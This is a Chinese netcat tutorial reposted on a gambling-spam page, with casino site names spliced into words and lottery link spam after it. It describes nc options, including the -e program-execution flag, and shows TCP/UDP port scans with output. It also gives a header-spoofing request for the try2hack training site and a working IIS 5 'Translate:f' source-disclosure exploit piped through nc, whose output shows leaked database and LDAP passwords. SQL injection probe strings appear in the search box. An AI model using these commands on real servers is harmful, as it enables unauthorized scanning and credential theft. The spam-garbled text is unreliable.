建体彩网|中彩网双色球连号|
?
快捷搜索:  as  test  1111  test aNd 8=8  test++aNd+8=8  as++aNd+8=8  as aNd 8=8

新蒲京澳門賭場網站:netcat教程(教你怎么用瑞士軍刀)

?

在收集對象中有“瑞士軍刀”美譽的NetCat, 在我們用了N年了至今仍是愛不釋手。由于它短小精悍(這個用在它身上很得當,現在有人已經將其改動成大年夜約10K閣下,而且功能不削減)。現在就我的一些使用心得和一些贊助文檔中,做一些先容與大年夜家共勉。

一、 懂得NC的用法

敕令:nc –h

技術:win98用戶可以在autoexec.bat加入path=nc的路徑,win2000用戶在情況變量中加入path中,linux含有這個敕令(redhat)

1、基礎應用

想要連接到某處: nc [-options] hostname port[s] [ports] ...

綁定端口等待連接: nc -l -p port [-options] [hostname] [port]

參數:

-e prog 法度榜樣重定向,一旦連接,就履行 [危險!!]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, ...

-h 贊助信息

-i secs 延時的距離

-l 監聽模式,用于入站連接

-n 指定命字的IP地址,不能用hostname

-o file 記錄16進制的傳輸

-p port 本地端口號

-r 隨意率性指定本地及遠程端口

-s addr 本地源地址

-u UDP模式

-v 具體輸出——用兩個-v可獲得更具體的內容

-w secs timeout的光陰

-z 將輸入輸出關掉落——用于掃描時

此中端口號可以指定一個或者用lo-hi式的指定范圍。

例如:掃描端口

tcp掃描新蒲京澳門賭場網站

C:\nc>nc -v -z -w2 新蒲京澳門賭場網站192.168.0.80 1-140

net [192.168.0.80] 140 (?)

net [192.168.0.80] 139 (netbios-ssn) open

net [192.168.0.80] 138 (?)

net [192.168.0.80] 137 (netbios-ns)

net [192.168.0.80] 136 (?)

net [192.168.0.80] 135 (epmap) open

net [192.168.0.80] 81 (?) open

net [192.168.0.80] 80 (http) open

net [192.168.0.80] 79 (finger)

net [192.168.0.80] 25 (smtp) open

net [192.168.0.80] 24 (?)

net [192.168.0.80] 23 (telnet)

net [192.168.0.80] 21 (ftp)

udp掃描

C:\nc>nc -u -v -z -w2 192.168.0.80 1-140

net [192.168.0.80] 140 (?) open

net [192.168.0.80] 139 (?) open

net [192.168.0.80] 1新蒲京澳門賭場網站38 (netbios-dgm) open

net [192.168.0.80] 137 (netbios-ns) open

net [192.168.0.80] 54 (?) open

net [192.168.0.80] 53 (domain) open

net [192.168.0.80] 38 (?) open

net [192.168.0.80] 37 (time) open

net [192.168.0.80] 7 (echo) open

二、高檔利用

1.Window用法:

(1)IE的MIME詐騙

www.try2hack..nl(是一個讓初學黑客技巧的人去做實驗的站點)

打開這個頁面,http://www.try2hack.nl/cgi-bin/level7.pl頁面(這個網站供給了黑客的8關,過了這8關證實你開始入門了),這個頁面奉告我們的瀏覽器不是 IE6.72,我們的操作系統不是LIUNX,我們不是從www.microsoft.com/ms.htm重定向鏈接以前的,有病阿(這是一個題目呀,要逐步鉆研),linux有IE6.72? 微軟會在它的頁面上http://www.try2hack.nl/cgi-bin/level7.pl的鏈接?看看頁面的源代碼,level7.pl是在辦事器端 履行的perl腳本,根本無法看到,照樣鉆研一下IE5和它通信時都奉告了它什么,抓包,我們會發明,我們的IE5奉告對方: 我是MSIE 5.0; Windows NT 5.0; .NET CLR 1.0.3705。。。。哈哈,level7.pl這個cgi應該是根據這些信息知道我們不是它要求的 客戶,嘿嘿,必要詐騙對方才行,用軍刀來可以實現,如下做就可以哄對方了:

nc www.try2hack.nl 80 [enter]

GET /cgi-bin/level7.pl HTTP/1.1 [enter]

Accept: image/gif, image/x-xbitmap, application/msword, */* [enter]

Referehttp://www.microsoft.com/ms.htm [enter]

Accept-Language: zh-cn [enter]

Accept-Encoding: gzip, deflate [enter]

User-Agent: Mozilla/4.0 (compatible; MSIE 6.72; Linux 8.8.8 i986) [enter]

Host: www.try2hack.nl [enter]

Connection:

Keep-Alive [enter]

留意,假如呈現HTTP 400時,闡明你輸進款式有問題,呈現httpd 200回適時,就給出結果了:

哈哈!從速去實現一下(實踐是成功之母)

(2)IIS 5 “Translate:f” 顯示代碼脆弱點

Translate:f脆弱點的機制:發送一個畸形的HTTP GET 哀求給辦事器方一個可履行腳本或相關文件類型(例如.ASP或者global.asa)。這些文件是用于辦事器上運行的,毫不會到客戶機上去,而這個哀求就會導致IIS將這種文件的內容發送到遠真個客戶機上,而不是在辦事器上運行。這種畸形的HTTP GET哀求的關鍵特點是該哀求的末端有一個特定的頭信息Translate:f,并有一個反斜杠”\”附于URL之后。下面就有這樣的一個例子([CRLF]代表回車字符)

留意 GET global.asa 后的反斜杠以及Translate:f頭信息。

GET /global.asa\ HTTP/1.0

Host:192.168.0.1

Us新蒲京澳門賭場網站er-Agent:SensePostData

Content-Type:application/x-www-form-urlencoded

Translate:f

[CRLF]

[CRLF]

將以上內容保存在一個文本文件中(例如example.txt)

然后向一個有這個破綻的辦事器發送

c:\>type example.txt | nc –nvv 192.168.0.80 80

(UNKNOWN) [192.168.0.80] 80 (?) open

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Tue, 03 Dec 2002 08:50:46 GMT

Content-Type: application/octet-stream

Content-Length: 2790

ETag: “0448299fcd6df1:bea”

Last-Modified: Wed, 13 Nov 2002 18:50:46 GMT

Accept-Ranges: bytes

Cache-Control: no-cache

(“ConnectionText”) = “Dsn=ph;UID=my新蒲京澳門賭場網站man;Password=mygod)”

(“LDAPServer”) = “LADP://ldap.netloafer.com:389”

(“LDAPUserID”) = “CN=Admin”

(“LDAPPwd”) = “mygod”

………

免責聲明:以上內容源自網絡,版權歸原作者所有,如有侵犯您的原創版權請告知,我們將盡快刪除相關內容。

您可能還會對下面的文章感興趣:

建体彩网
香港麻将和四川麻将 山东时时彩是什么彩票 微信捕鱼苹果手机充值卡充值中心 hb湖北福彩22选5 青海11选5 足球图片直播吧 一肖中特免费公开资料中特 四川金7乐组六实战技巧 广西十一选五任三计划 dota2比分网